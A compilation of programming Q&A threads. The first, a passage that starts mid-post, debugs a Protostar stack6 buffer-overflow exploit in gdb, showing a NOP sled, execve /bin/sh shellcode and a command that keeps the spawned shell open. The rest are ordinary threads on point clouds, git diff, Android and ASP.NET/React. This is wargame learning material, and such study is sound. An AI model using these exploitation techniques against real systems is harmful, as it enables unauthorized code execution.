print (padding + eip + eip2 + noop + buf)

Note: eip = eip[::-1] reverses the byte order because intel x86 is little endian.
Edit:
Here is a more detailed state of the machine.
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave
0x080484f9 <getpath+117>:   ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9  0xbffff6b0  0x90909090  0x90909090
0xbffff6ac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6bc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6cc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6dc: 0x90909090  0x90909090  0x6850c031  0x68732f2f
0xbffff6ec: 0x69622f68  0x89e3896e  0xb0c289c1  0x3180cd0b
0xbffff6fc: 0x80cd40c0  0x00000000  0x00000000  0x00000001
0xbffff70c: 0x080483d0  0x00000000  0xb7ff6210  0xb7eadb9b

As you can see the function skipped the bzzz + exit because the return address passed the check. The next instruction is ret which returns to 0x080484f9 (top of stack at $esp). Which is ret.
One step forward
(gdb) stepi
eip            0x80484f9    0x80484f9 <getpath+117>
esp            0xbffff6a0   0xbffff6a0
eax            0xbe 190
ebx            0xb7fd7ff4   -1208123404
0x80484f9 <getpath+117>:    ret
0x80484fa <main>:   push   ebp
0xbffff6a0: 0xbffff6b0  0x90909090  0x90909090  0x90909090
0xbffff6b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  in stack6/stack6.c

and another
Cannot access memory at address 0x41414145

I'm not sure what that's about or why the hook-stop didn't fire or where the 0x45 came from, but
(gdb) i r
eax            0xbe 190
ecx            0x0  0
edx            0xb7fd9340   -1208118464
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6a4   0xbffff6a4
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xbffff6b0   0xbffff6b0
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

As you can see EIP points to the noop sled.
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb

from there it executes along nicely up to int 80 where it segfaults.
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff6fd: inc    eax
0xbffff6fe: int    0x80

(gdb)
eip            0xbffff6f9   0xbffff6f9
esp            0xbffff698   0xbffff698
eax            0xb  11
ebx            0xbffff698   -1073744232
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff698: 0x6e69622f  0x68732f2f  0x00000000  0x90909090
0xbffff6a8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6b8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.
eip            0x805925e    0x805925e
esp            0xbffffcd0   0xbffffcd0
eax            0x3e9    1001
ebx            0xb7fd7ff4   -1208123404
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0xbffffcd0: 0x00000011  0x00000000  0x00000000  0xbffffd70
0xbffffce0: 0xbffffd28  0xbffffd34  0x00000000  0xb7fff8f8
0xbffffcf0: 0x00000000  0xb7ffc3e1  0xb7ffb8bc  0x08048bdd
0xbffffd00: 0x00000000  0xb7fe3494  0xbffffd44  0xb7fe3612
0x0805925e in ?? ()

(gdb) x /5i 0x805925e
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0x8059262:  je     0x8059295
0x8059264:  lea    esi,[esi+eiz*1+0x0]
0x8059268:  mov    DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax            0x3e9    1001
ecx            0xa  10
edx            0x805c340    134595392
ebx            0xb7fd7ff4   -1208123404
esp            0xbffffcd0   0xbffffcd0
ebp            0xbffffd98   0xbffffd98
esi            0x0  0
edi            0x0  0
eip            0x805925e    0x805925e
eflags         0x210282 [ SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Edit 2:
I ran the exploit from a file instead of a pipe. I get an odd result. I still don't know what to make of it.
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
                1�@̀
Executing new program: /bin/dash

Program exited normally.
Error while running hook_stop:
The program has no registers now.

A: When piping or routing input into the program then stdin basically ceases to exist when the providing source is at the end of it's output or terminates. Therefore you don't get a shell.
Disassemble main didn't work anymore at the instances with that behavior because the program being loaded by gdb no longer is stack6 but /bin/sh. Executing Run again would execute /bin/sh.
I have no idea why the program segfaulted when the piped input ran out.  But with the file the interrupt 80 did not segfault and afterwards it ran interrupt 80 with eax = 1 calling exit(ebx), leading to normal termination.
To execute the exploit, you need shell code that doesn't need stdin input, such as a metasploit reverse tcp bind shell or you need to provide continuous input after the exploit was executed. For example like this:
(cat /tmp/exploit; cat) | ./stack6

which will first input the exploit into the program and then ask the user for more input on stdin (cat) and pipe that to the program afterwards.


text:
Q: Merging/Stitching 2 3D point clouds using PLC/C++ I am working on a project with the goal to scan surfaces with high precision. The scanner functional area is relatively small, so I need to take multiple scans in order to cover the full surface. Each scan generates a .pcd file that includes around 600k XYZ-points, depending on the size of the scan.
I am trying to stitch these scans together, whether by stitching the point clouds or even by combining the .pcd files before converting them to point clouds. I tried many of the registration tutorials provided by the PCL's official website but they were not beneficial for my case (or I could not apply them correctly).
I am dealing with C++ and working on Linux Ubuntu 18.04. The whole application is to be integrated with ROS later on. Below you can find the 3 .pcd I am trying to stitch.
Is there something provided by the PCL that I am missing? Or is there some other handy methods provided by ROS? Anything must preferably be in C++, but Python is also okay as long as it integrates with ROS and the .pcd file type.
Thanks in advance.
The .pcd files: https://drive.google.com/drive/folders/1pZuhvHQWnvYEigWiolUY8fA_dVjnekG7?usp=sharing


text:
Q: Is correct this interpretation about a git diff HEAD message? I'm doing a git tutorial and I would like someone tells me if my interpretation of this message is correct:
$ git diff HEAD

diff --git a/octocat.txt b/octocat.txt
index 7d8d808..e725ef6 100644
--- a/octocat.txt
+++ b/octocat.txt
@@ -1 +1 @@
-A Tale of Two Octocats
+[mA Tale of Two Octocats and an Octodog

If I understood well, the command tells you what differences are between your last commit and the present moment, right?.
diff --git a/octocat.txt b/octocat.txt

This line tells you that octocat.txt has been modified. What I don't know here it's what a/ and b/ mean.
--- a/octocat.txt
+++ b/octocat.txt

Line with --- it's the document before being modified and line with +++ refers to the document after being modified.
@@ -1 +1 @@

this it's a unified diff hunk identifier. Unified format it's used to display changes between files, right? I'm not native English and I want to be sure I understood it.
-A Tale of Two Octocats
+[mA Tale of Two Octocats and an Octodog

And finally, here is displayed what was deleted and what was added.
Thanks ;)

A: a/ and b/ are just there to differentiate between the old and new file, they are dummy identifiers (diff --git file file wouldn't make much sense). Otherwise your analysis is spot on!
From the git diff man page:

git diff [--options] <commit> [--] [<path>...]
     This form is to view the changes you have in your working tree
     relative to the named <commit>. You can use HEAD to compare it with
     the latest commit, or a branch name to compare with the tip of a
     different branch.

Although, most of the time, you will be more likely to simply use git diff (without any arguments) to show what changes are in your working copy, but have not yet been added to the index (in other words: "have not yet been staged").

*

*git diff HEAD: shows every change to tracked files not yet committed

*git diff: shows changes relative to the index (i.e. not yet staged)


text:
Q: Use Cursor in fragment class in Android studio The code for retrieving data from database works fine in a class that extends Activity, however the app crashes when I place it in the class in which I need to insert the list elements, this class extends Fragment.
package com.autohush.www.dah;

    import android.app.Activity;
    import android.content.Context;
    import android.content.Intent;
    import android.database.Cursor;
    import android.support.v4.app.Fragment;
    import android.os.Bundle;
    import android.view.LayoutInflater;
    import android.view.View;
    import android.view.ViewGroup;
     import android.widget.ArrayAdapter;
    import android.widget.Button;
    import android.widget.ImageButton;
    import android.widget.ImageView;
    import android.widget.ListView;
    import android.widget.TextView;
    import android.widget.TimePicker;
    import android.widget.Toast;

    import java.util.ArrayList;
    import java.util.List;

    public class MainActivityFragment2 extends Fragment {

    Context ctx = this.getActivity();
    private List<TimeList> TDList = new ArrayList<TimeList>();

    public MainActivityFragment2() {
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        populateLocationList();
    }

    private void populateLocationList() {
        DBoperations db = new DBoperations(ctx);
        Cursor cr = db.getInformation(db);
        cr.moveToFirst();
        String TimeH, TimeM;
        do {
            TimeH = Integer.toString(cr.getInt(1));
            TimeM = Integer.toString(cr.getInt(2));
            TDList.add((new TimeList(TimeH + ":" + TimeM,"1 hr")));
        }while (cr.moveToNext());
    }

    private class MyAdapter extends ArrayAdapter<TimeList> {

        public MyAdapter(Context context, List<TimeList> values) {

            super(context, R.layout.time_list_item,values);
        }
        @Override
        public View getView(int position, View convertView, ViewGroup parent) {

            View v = convertView;
            LayoutInflater inflater = LayoutInflater.from(getContext());

            if( v == null){
                v = inflater.inflate(R.layout.time_list_item, parent, false);
            }

            TimeList currLoc = TDList.get(position);

            TextView theTextView = (TextView) v.findViewById(R.id.time_list_item_textview1);
            theTextView.setText(currLoc.getTime());

            theTextView = (TextView) v.findViewById(R.id.time_list_item_textview2);
            theTextView.setText(currLoc.getDuration());

            return v;
        }
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        View rootView = inflater.inflate(R.layout.time_list_view, container, false);

        ListView list = (ListView) rootView.findViewById(R.id.time_list_view);
        ArrayAdapter<TimeList> adapter = new MyAdapter(getActivity(),TDList);
        list.setAdapter(adapter);
        setRetainInstance(true);

        ImageButton ib = (ImageButton) rootView.findViewById(R.id.imageButton1);
        ib.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                startActivity(new Intent(MainActivityFragment2.this.getActivity(),TimePickerPopup.class));
            }
        });

        return rootView;
    }

And This is my crash log... i am new to android. please help.
 03-10 18:03:04.142 20856-20856/? E/AndroidRuntime: FATAL EXCEPTION: main
                                               Process: com.autohush.www.dah, PID: 20856
                                               java.lang.NullPointerException: Attempt to invoke virtual method 'android.database.sqlite.SQLiteDatabase android.content.Context.openOrCreateDatabase(java.lang.String, int, android.database.sqlite.SQLiteDatabase$CursorFactory, android.database.DatabaseErrorHandler)' on a null object reference
                                                   at android.database.sqlite.SQLiteOpenHelper.getDatabaseLocked(SQLiteOpenHelper.java:223)
                                                   at android.database.sqlite.SQLiteOpenHelper.getReadableDatabase(SQLiteOpenHelper.java:187)
                                                   at com.autohush.www.dah.DBoperations.getInformation(DBoperations.java:47)
                                                   at com.autohush.www.dah.MainActivityFragment2.populateLocationList(MainActivityFragment2.java:42)
                                                   at com.autohush.www.dah.MainActivityFragment2.onCreate(MainActivityFragment2.java:37)
                                                   at android.support.v4.app.Fragment.performCreate(Fragment.java:1951)
                                                   at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:1029)
                                                   at android.support.v4.app.BackStackRecord.ensureFragmentsAreInitialized(BackStackRecord.java:1077)
                                                   at android.support.v4.app.BackStackRecord.beginTransition(BackStackRecord.java:1032)
                                                   at android.support.v4.app.BackStackRecord.run(BackStackRecord.java:658)
                                                   at android.support.v4.app.FragmentManagerImpl.execPendingActions(FragmentManager.java:1617)
                                                   at android.support.v4.app.FragmentManagerImpl.executePendingTransactions(FragmentManager.java:570)
                                                   at android.support.v4.app.FragmentPagerAdapter.finishUpdate(FragmentPagerAdapter.java:141)
                                                   at android.support.v4.view.ViewPager.populate(ViewPager.java:1177)
                                                   at android.support.v4.view.ViewPager.populate(ViewPager.java:1025)
                                                   at android.support.v4.view.ViewPager.onMeasure(ViewPager.java:1545)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.support.design.widget.CoordinatorLayout.onMeasureChild(CoordinatorLayout.java:664)
                                                   at android.support.design.widget.CoordinatorLayout.onMeasure(CoordinatorLayout.java:731)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.widget.FrameLayout.onMeasure(FrameLayout.java:430)
                                                   at android.support.v7.widget.ContentFrameLayout.onMeasure(ContentFrameLayout.java:135)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.widget.LinearLayout.measureChildBeforeLayout(LinearLayout.java:1436)
                                                   at android.widget.LinearLayout.measureVertical(LinearLayout.java:722)
                                                   at android.widget.LinearLayout.onMeasure(LinearLayout.java:613)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.widget.FrameLayout.onMeasure(FrameLayout.java:430)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.widget.LinearLayout.measureChildBeforeLayout(LinearLayout.java:1436)
                                                   at android.widget.LinearLayout.measureVertical(LinearLayout.java:722)
                                                   at android.widget.LinearLayout.onMeasure(LinearLayout.java:613)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5463)
                                                   at android.widget.FrameLayout.onMeasure(FrameLayout.java:430)
                                                   at com.android.internal.policy.impl.PhoneWindow$DecorView.onMeasure(PhoneWindow.java:2560)
                                                   at android.view.View.measure(View.java:17442)
                                                   at android.view.ViewRootImpl.performMeasure(ViewRootImpl.java:2001)
                                                   at android.view.ViewRootImpl.measureHierarchy(ViewRootImpl.java:1166)
                                                   at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:1372)
                                                   at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1054)
                                                   at android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:5779)
                                                   at android.view.Choreographer$CallbackRecord.run(Choreographer.java:767)
                                                   at android.view.Choreographer.doCallbacks(Choreographer.java:580)
                                                   at android.view.Choreographer.doFrame(Choreographer.java:550)
                                                at    android.view.Choreographer$FrameDisplayEve

A: I found the reason why it crashed.
Context ctx = this.getActivity(); shoud not be at the start, since it otherwise returns a null value.
It should be inside onCreate().


text:
Q: Asp.net core web application with react template: in development, server checks mvc routes first, but in prodcution the server only returns index.html I am trying to migrate an existing MVC application that uses razor pages into web API + ReactJS client. I'm doing this step by step which means I have migrated the homepage (Home/Index) plus a few other pages/features to react. There are links between razor pages and those that are implemented in react. This works perfectly in development environment which runs react development server.
For example in development environment, if I route to localhost:12345/Controller/Action (for an available Controller and action) server executes the respective action and returns the proper view and if I try to access a route which is unknown to server it returns index.html and react-router handles the routing from this point. This is the accepted behavior and works like a charm in the development environment.
But things change when I build the react app and run the application in production mode. The request never reaches the server and is handled on the client-side by react-router. When I hard-refresh the page it triggers the MVC actions as accepted though.
I would like to have the same behaviour it has in development for the production.
This is how the starup.cs file looks like.
        // ConfigureServices
        .
        .
        .
        // In production, the React files will be served from this directory
        services.AddSpaStaticFiles(configuration =>
        {
            configuration.RootPath = "ReactSource/build";
        });
        .
        .
        .

        // Configure
        .
        .
        .
        app.UseStaticFiles();
        app.UseSpaStaticFiles();
        app.UseMvc(routes =>
        {
            routes.MapRoute(
                name: "default",
                template: "{controller}/{action}");
        });

        app.UseSpa(spa =>
        {
            spa.Options.SourcePath = "ReactSource";

            // do not start the react development server in production
            if (env.IsDevelopment()) { spa.UseReactDevelopmentServer(npmScript: "start"); }
        });
        .
        .

Any Idea what I'm missing here? Should I modify the react-router for this?

A: I solved my problem by turning off (unregistering) the create-react-app out of the box service worker which tried to cache assets and was preventing the requests to reach the server.
In the index.js file, I simply imported { unregister } from "./registerServiceWorker" and replaced registerServiceWorker(); with unregister(); at the end of the auto generated index.js file.

A: To have a Progress Web Application, you must enable the Service worker in your React web app.
For solve cache problem in production mode you must enter following code in index.tsx file:
ReactDOM.render(
    <BrowserRouter basename={baseUrl}>
        <App />
    </BrowserRouter>,
    rootElement);

//index page is Route exact path.
if (window.location.href.includes('index'))
    registerServiceWorker();
else
    unregisterAndReload();

function unregisterAndReload() {
    navigator.serviceWorker.ready.then(registration => {
        registration.unregister().then(() => {
            window.location.reload();
        });
    });
}

and App.tsx file should be like the following:
render() {
        return (
            <Layout>
                <Route exact path='/index' component={Home} />
                <Route path='/contact' component={ContactUs} />
            </Layout>
        );
    }